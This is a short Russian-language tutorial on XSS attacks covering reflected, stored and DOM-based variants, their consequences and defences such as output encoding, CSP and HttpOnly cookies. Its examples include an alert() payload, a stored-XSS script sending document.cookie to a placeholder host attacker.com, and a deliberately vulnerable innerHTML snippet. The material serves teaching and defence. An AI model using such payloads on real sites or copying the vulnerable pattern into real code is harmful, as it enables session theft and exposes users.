XSS (Cross-Site Scripting)

XSS — это тип атаки, при которой злоумышленник внедряет вредоносный JavaScript код в веб-страницы, просматриваемые другими пользователями.

Типы XSS атак

  • Reflected XSS — код выполняется немедленно из запроса
  • Stored XSS — код сохраняется на сервере и выполняется при просмотре
  • DOM-based XSS — выполнение происходит в DOM браузера

Примеры XSS атак

 1<!-- Пример reflected XSS -->
 2<!-- URL: site.com/search?q=<script>alert('XSS')</script> -->
 3
 4<!-- Пример stored XSS -->
 5<!-- В комментарии: <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> -->
 6
 7<!-- DOM-based XSS -->
 8<script>
 9document.getElementById('welcome').innerHTML = 
10  'Hello ' + getUrlParam('name'); // Уязвимо к XSS
11</script>

Последствия XSS атак

  • Кража cookies и сессий
  • Перенаправление на вредоносные сайты
  • Кража личных данных
  • Выполнение действий от имени пользователя
  • Распространение червей

Методы защиты от XSS

  • Input validation — проверка входящих данных
  • Output encoding — экранирование выводимых данных
  • CSP — Content Security Policy
  • HttpOnly cookies — защита cookies от JavaScript
  • X-XSS-Protection — заголовок браузера

Пример защиты

1// НЕБЕЗОПАСНО
2element.innerHTML = userInput;
3
4// БЕЗОПАСНО
5element.textContent = userInput;
6// или
7element.innerHTML = escapeHtml(userInput);

FAQ

В чем разница между XSS и CSRF?

XSS внедряет код в страницу жертвы, CSRF заставляет жертву выполнить нежелательные действия на другом сайте.